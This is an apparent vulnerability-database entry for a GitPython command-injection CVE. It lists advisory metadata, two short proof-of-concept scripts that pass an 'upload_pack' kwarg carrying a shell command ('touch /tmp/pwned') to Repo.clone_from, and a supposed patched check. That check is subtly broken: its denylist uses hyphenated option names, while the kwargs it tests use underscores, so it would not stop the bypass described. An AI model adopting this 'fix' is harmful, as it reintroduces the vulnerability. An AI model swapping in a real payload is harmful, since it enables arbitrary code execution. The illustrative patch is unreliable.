CVE-2026-42215

GitPython allows command execution by bypassing dangerous options checks.

• CVSS 8.8
• CWE-78
• Input Validation and Sanitization
• Remote

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as –upload-pack and –receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

CVE

CVE-2026-42215

CWE

CWE-78

CVSS base score

8.8

Published

2026-05-07

OWASP

A03 Injection

Orthogonal defect classification

Checking

Code defect classification

Incorrect Check

Category

Input Validation and Sanitization

Subcategory

Command Injection

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

GitPython

Fixed by upgrading

Yes

Solution

Upgrade GitPython to version 3.1.47 or later.

import git
import os
import shutil
import tempfile

repo_dir = tempfile.mkdtemp()
remote_repo_path = os.path.join(repo_dir, "remote.git")
cloned_repo_path = os.path.join(repo_dir, "cloned_repo")

try:
    git.Repo.init(remote_repo_path, bare=True)

    # In a real-world scenario, this dictionary would be derived
    # from untrusted user input.
    malicious_kwargs = {
        "upload_pack": "touch /tmp/pwned"
    }

    # This call demonstrates the vulnerability. Even with the default
    # `allow_unsafe_options=False`, the `upload_pack` kwarg is used,
    # leading to the execution of the command.
    git.Repo.clone_from(
        remote_repo_path,
        cloned_repo_path,
        **malicious_kwargs
    )
except Exception:
    # The clone may fail depending on the command, but the command
    # might have already been executed. We ignore errors for this PoC.
    pass
finally:
    shutil.rmtree(repo_dir)

DANGEROUS_OPTIONS = {"upload-pack", "receive-pack"}

class GitCommandError(Exception):
    """Custom exception to signal a rejected command."""
    pass

def patched_git_execute(allow_unsafe_options=False, **kwargs):
    """
    This function represents the patched logic. It demonstrates how keyword
    arguments are now checked for dangerous options before execution.
    """
    # This check is the core of the fix.
    # It inspects the keys in `kwargs` against a denylist of unsafe options.
    # In vulnerable versions, this check was missing for kwargs.
    if not allow_unsafe_options:
        for dangerous_kwarg in DANGEROUS_OPTIONS:
            if dangerous_kwarg in kwargs:
                raise GitCommandError(
                    f"Command rejected: unsafe keyword argument '{dangerous_kwarg}' is disabled."
                )

    # If the check passes, the original logic for processing the
    # command and its arguments would proceed here.
    pass

import git

malicious_kwargs = {
    'upload_pack': 'touch /tmp/pwned'
}

git.Repo.clone_from(
    'https://github.com/some/repo.git',
    '/tmp/repo',
    **malicious_kwargs
)

@misc{vaitp:cve202642215,
  title        = {{GitPython allows command execution by bypassing dangerous options checks.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42215},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42215/}}
}